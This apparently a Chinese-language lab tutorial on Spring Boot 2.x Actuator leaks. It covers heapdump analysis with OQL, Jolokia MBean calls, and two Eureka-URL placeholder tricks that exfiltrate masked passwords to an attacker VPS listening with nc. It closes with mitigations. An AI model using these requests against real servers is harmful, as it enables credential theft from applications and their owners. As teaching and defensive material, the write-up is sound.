Spring Boot Actuator 模块提供了健康检查,审计,指标收集,HTTP 跟踪等,是帮助我们监控和管理Spring Boot 应用的模块。这个模块采集应用的内部信息,展现给外部模块,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信息以及Web请求的详细信息等。
如果没有正确使用Actuator,可能造成信息泄露等严重的安全隐患(外部人员非授权访问Actuator端点)。其中heapdump作为Actuator组件最为危险的Web端点,heapdump因未授权访问被恶意人员获取后进行分析,可进一步获取敏感信息。
SpringBoot 1.x 和 2.x 的 Actuator模块设置有差别,访问功能的路径也有差别,但现在多使用的SpringBoot版本为2.x,这篇文章只讲SpringBoo 2.x Actuator模块带来的信息泄露。
如果要使用 SpringBoot Actuator 提供的监控功能,需要先加入相关的 maven dependency:
12 org.springframework.boot 3spring-boot-starter-actuator 42.7.0 5
只要加上了这个actuator依赖,SpringBoot 在运行时会自动开启/actuator/health和/actuator/info这两个 endpoint。
为了更方便漏洞利用,当前环境在一个CMS中加入了该依赖,因为自己新建的Springboot项目没有配置数据库之类的信息。
Spring Boot 提供了所谓的 endpoints (下文翻译为端点)给外部来与应用程序进行访问和交互。
打比方来说,/health 端点 提供了关于应用健康情况的一些基础信息。metrics 端点提供了一些有用的应用程序指标(JVM 内存使用、系统CPU使用等)。
这些 Actuator 模块本来就有的端点我们称之为原生端点。根据端点的作用的话,我们大概可以分为三大类:
应用配置类:获取应用程序中加载的应用配置、环境变量、自动化配置报告等与Spring Boot应用密切相关的配置类信息。
度量指标类:获取应用程序运行过程中用于监控的度量指标,比如:内存信息、线程池信息、HTTP请求统计等。
操作控制类:提供了对应用的关闭等操作类功能。
需要注意的就是:
每一个端点都可以通过配置来单独禁用或者启动
不同于Actuator 1.x,Actuator 2.x 的大多数端点默认被禁掉。Actuator 2.x 中的默认端点增加了/actuator前缀。默认暴露的两个端点为/actuator/health和 /actuator/info
原生端点如下:
请求方法 |
端点 |
描述 |
GET |
/actuator |
查看有哪些 Actuator端点是开放的。 |
GET |
/actuator/auditevent |
auditevents端点提供有关应用程序审计事件的信息。 |
GET |
/actuator/beans |
beans端点提供有关应用程序 bean 的信息。 |
GET |
/actuator/conditions |
conditions端点提供有关配置和自动配置类条件评估的信息。 |
GET |
/actuator/configprops |
configprops端点提供有关应用程序@ConfigurationPropertiesbean的信息。 |
GET |
/actuator/env |
查看全部环境属性,可以看到 SpringBoot 载入哪些 properties,以及 properties 的值(会自动用*替换 key、password、secret 等关键字的 properties 的值)。 |
GET |
/actuator/flyway |
flyway端点提供有关 Flyway 执行的数据库迁移的信息。 |
GET |
/actuator/health |
端点提供有关应用程序运行状况的health详细信息。 |
GET |
/actuator/heapdump |
heapdump端点提供来自应用程序 JVM 的堆转储。(通过分析查看/env端点被*号替换到数据的具体值。) |
GET |
/actuator/httptrace |
httptrace端点提供有关 HTTP 请求-响应交换的信息。(包括用户HTTP请求的Cookie数据,会造成Cookie泄露等)。 |
GET |
/actuator/info |
info端点提供有关应用程序的一般信息。 |
GET |
/actuator/integrationgraph |
integrationgraph端点公开了一个包含所有 Spring Integration 组件的图。 |
GET |
/actuator/liquibase |
liquibase端点提供有关 Liquibase 应用的数据库更改集的信息。 |
GET |
/actuator/logfile |
logfile端点提供对应用程序日志文件内容的访问。 |
GET |
/actuator/loggers |
loggers端点提供对应用程序记录器及其级别配置的访问。 |
GET |
/actuator/mappings |
mappings端点提供有关应用程序请求映射的信息。 |
GET |
/actuator/metrics |
metrics端点提供对应用程序指标的访问。 |
GET |
/actuator/prometheus |
端点以prometheusPrometheus 服务器抓取所需的格式提供 Spring Boot 应用程序的指标。 |
GET |
/actuator/quartz |
quartz端点提供有关由 Quartz 调度程序管理的作业和触发器的信息。 |
GET |
/actuator/scheduledtasks |
scheduledtasks端点提供有关应用程序计划任务的信息。 |
GET |
/actuator/sessions |
sessions端点提供有关由 Spring Session 管理的应用程序 HTTP 会话的信息。 |
GET |
/actuator/startup |
startup端点提供有关应用程序启动顺序的信息。 |
POST |
/actuator/shutdown |
shutdown端点用于关闭应用程序。 |
前面介绍过了Actuator一些基础后,现在来研究一下如果目标站点存在这个漏洞该如何利用。
首先访问一下/actuator/env:
image01
该端点可以返回全部环境变量以及一些配置信息,其中就包含了数据库配置信息。但是我们可以看到password被用*代替了,这时就要想办法读取该数据了,获取明文密码办法有以下四种:
4.1 方法一
利用条件:
可正常 GET 请求目标 /heapdump 或 /actuator/heapdump 接口
利用方法:
首先访问/actuator/heapdump 接口,下载应用实时的 JVM 堆信息。
然后通过JDK自带的JVisualVM工具对JVM堆的dump文件进行分析:
该工具路径为 JDK/bin/jvisualvm.exe
image02
工具打开默认是这样的,接下来点击文件->装入:
image03
选择我们刚才下载的dump文件。
image04
可以看到系统的一些配置信息。
接下来打开OQL控制台,输入OQL语句来过滤我们需要的信息。
OQL 是一种类似 SQL 的查询语言,用于查询 Java 堆。OQL 允许从 Java 堆中过滤/选择所需的信息。虽然 HAT 已经支持诸如“显示 X 类的所有实例”之类的预定义查询,但 OQL 增加了更多的灵活性。OQL 基于 JavaScript 表达式语言,详细请参考Object Query Language (OQL)
env中信息存储在heapdump中的 java.util.LinkedHashMap$Entry
类中(Spring boot 2.X版本)。
如果我们要查询数据库密码则在OQL控制台执行如下OQL语句:
select s from java.util.LinkedHashMap$Entry s where /spring.datasource.password/.test(s.key)
image05
可以看到有三个查询结果,挨个点开看看:
image06
可以看到数据库密码为root。
注意OQL查询语句中的 spring.datasource.password
需要根据实际环境替换。
4.2 方法二
利用条件:
目标网站存在/jolokia或/actuator/jolokia接口
目标使用了jolokia-core依赖(版本要求暂未知)
默认情况下actuator是没有jolokia接口的,所以需要再添加如下依赖:
12 org.jolokia 3jolokia-core 41.7.0 5
利用方法
首先访问/actuator/env接口,获取想要获得明文的属性名,然后通过 jolokia 调用相关 Mbean 获取明文。
然后访问
h ttp://ip:port/actuator/jolokia/list
看一下目标环境中存在的MBean:
image07
接下来就可以通过调用我们找到的MBean来获取我们感兴趣字段的明文了:
1POST /actuator/jolokia 2Content-Type: application/json 3 4{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
如果是1.x版本请求路径则为/jolokia
当前环境测试如下:
image08
4.3 方法三
利用条件:
可以 GET 请求目标网站的 /env
可以 POST 请求目标网站的 /env
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出外网)
这里需要注意的是,添加了spring-cloud-starter-netflix-eureka-client依赖后,启动项目可能会报一个如下错误:
image09
通过搜索最终找到了这个帖子
报错内容和帖子很相近,最终在移除了当前项目中的servlet依赖后报错消失。
image10
还有一个问题就是如果使用的 spring boot 版本大于 2.2.4,则必须使用下面的属性手动启用POST API 调用:
management.endpoint.env.post.enabled=true
否则不能通过POST访问env端点。
利用方法:
首先访问
http://127.0.0.1:8080/actuator/env
来获取我们想要明文字段的key。
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
将下面
http://value:${security.user.password}@your-vps-ip
中的 security.user.password
换成自己想要获取的对应的星号 * 遮掩的属性名; your-vps-ip
换成自己外网服务器的真实 ip 地址。
1POST /actuator/env 2Content-Type: application/json 3 4{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
刷新配置:
1POST /actuator/refresh 2Content-Type: application/json
解码属性值
接下来VPS会获得如下请求:
1GET /apps/ HTTP/1.1 2Accept: application/json, application/*+json 3Authorization: Basic dmFsdWU6cm9vdA== 4Host: ****** 5Connection: Keep-Alive 6User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_191) 7Accept-Encoding: gzip,deflate
将Authorization字段进行base64解密后,得到的值就是value:password
4.4 方法四
利用条件:
通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
目标可以请求攻击者的服务器(请求可出外网)
利用方法:
在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据。
首先访问
http://127.0.0.1:8080/actuator/env
来获取我们想要明文字段的key。
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
构造如下数据包:
1POST /actuator/env 2Content-Type: application/json 3 4{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
刷新配置
1POST /actuator/refresh 2Content-Type: application/json
查看VPS
接下来VPS就会收到请求:
1Ncat: Connection from ****** 2GET /SecretKe/apps/ HTTP/1.1 3Accept: application/json, application/*+json 4Host: ****** 5Connection: Keep-Alive 6User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_191) 7Accept-Encoding: gzip,deflate
apps前面的路径就是我们需要的数据。
5.1 方法一
针对第一种方法,我们可以直接禁用heapdump端点,可以在配置文件中加入如下配置:
management.endpoint.heapdump.enabled=false
然后重新运行项目,访问/actuator/heapdump:
image11
可以看到无法下载dump文件,自然也就无法获取明文密码了。
5.2 方法二
针对第二种方法,可以有两种选择,一是直接移除jolokia依赖,二是禁用jolokia端点,这里直接移除如下依赖:
12 org.jolokia 3jolokia-core 41.7.0 5
删除选中部分,重新加载maven项目后运行项目,然后访问/actuator/jolokia端点:
image12
可以看到端点已无法访问。
5.3 方法三
删除 spring-cloud-starter-netflix-eureka-client
依赖或者禁止POST请求访问env端点。
5.4 方法四
和方法三一样,删除 spring-cloud-starter-netflix-eureka-client
依赖或者禁止POST请求访问env断点。
[1] https://blog.csdn.net/weixin_42628854/article/details/124592923
[2] https://blog.csdn.net/weixin_40482816/article/details/108539137
[3] https://www.cnblogs.com/caoweixiong/p/15325382.html
[4]https://github.com/LandGrey/SpringBootVulExploit#spring-boot-vulnerability-exploit-check-list
[5] http://cr.openjdk.java.net/~sundar/8022483/webrev.01/raw_files/new/src/share/classes/com/sun/tools/hat/resources/oqlhelp.html
[6] https://stackoverflow.com/questions/34950164/getting-nosuchmethoderrorjavax-servlet-servletcontext-getvirtualservername